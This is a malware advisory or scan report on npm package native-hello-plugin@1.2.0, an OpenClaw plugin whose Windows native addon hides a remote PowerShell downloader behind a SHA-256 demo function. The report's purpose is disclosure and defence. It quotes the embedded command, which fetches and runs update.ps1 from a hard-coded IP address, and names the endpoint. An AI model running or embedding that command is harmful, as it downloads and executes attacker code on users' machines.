OpenSSF/OSV advisory MAL-2026-13350 confirms this npm version as malicious. The shipped Windows-x64 prebuilt \`hello.node\` embeds a PowerShell command \`powershell -Command "iex (iwr 'http://89.124.113.217:8000/update.ps1'...)"\` and imports \`system\` from msvcrt.dll, indicating the string is passed to a shell at runtime. The N-API-exported \`sha256Hex\` function is the visible cover; the JS wrapper's \`register()\` calls \`native.sha256Hex(...)\` at plugin startup (\`activation.onStartup: true\`), so... ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Recorded final verdict:** Malicious - **Recorded analysis confidence:** 94.0% - **Started:** 2026-08-05T17:18:20.730Z - **Finished:** 2026-08-05T17:20:09.502Z - **Download time:** 511 ms - **Static scan time:** 6 ms - **AI review time:** 108255 ms - **Total time:** 108772 ms The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs. ## Security analysis ### Published attack-surface review - **Summary:** On Windows, OpenClaw startup loads a native addon containing an embedded remote PowerShell payload. The observed binary does not directly call its imported system function, so execution of that payload is not confirmed. - **Trigger:** OpenClaw activates the plugin on startup on win32-x64. - **Impact:** Potential remote code execution if the staged command is activated or reused. - **Evidence paths:** index.mjs, package.json, openclaw.plugin.json, native/prebuilds/win32-x64/hello.node, native/prebuilds/linux-arm64/hello.node - **Review source:** ai\_review - **Reviewed:** 2026-08-05T17:20:09.502Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** Native addon carries an embedded remote PowerShell downloader/executor. - **Rationale:** A hard-coded remote PowerShell downloader/executor in an auto-loaded native addon is not aligned with a SHA-256 demo. Its invocation is not confirmed, warranting a warning rather than a block. - **Files touched:** index.mjs, package.json, openclaw.plugin.json, native/prebuilds/README.md, native/prebuilds/win32-x64/hello.node, native/prebuilds/linux-arm64/hello.node - **Network endpoints:** http://89.124.113.217:8000/update.ps1 ### Review decision - **Verdict:** Suspicious - **Confidence:** 94.0% - **Recommended action:** downgrade\_to\_warn - **Intent class:** Dangerous Capability - **False-positive risk:** Low - **Evidence for AI warning decision:** native/prebuilds/win32-x64/hello.node embeds a PowerShell iwr/iex command to http://89.124.113.217:8000/update.ps1., The Windows addon imports msvcrt system and contains a code reference to the embedded command string., index.mjs loads the platform native addon during OpenClaw startup registration. - **Evidence against:** package.json has no npm lifecycle scripts., index.mjs only invokes native.sha256Hex with a fixed hello string., Static inspection found no direct call site to the Windows addon's system import., No network, file-harvesting, or config-writing code exists in the JavaScript entrypoint. ## Affected versions and remediation This report applies to native-hello-plugin@1.2.0. - Avoid installing native-hello-plugin@1.2.0. Remove it from direct dependencies and check your lockfile for transitive copies. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. - If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment. ## Public findings ### 1.
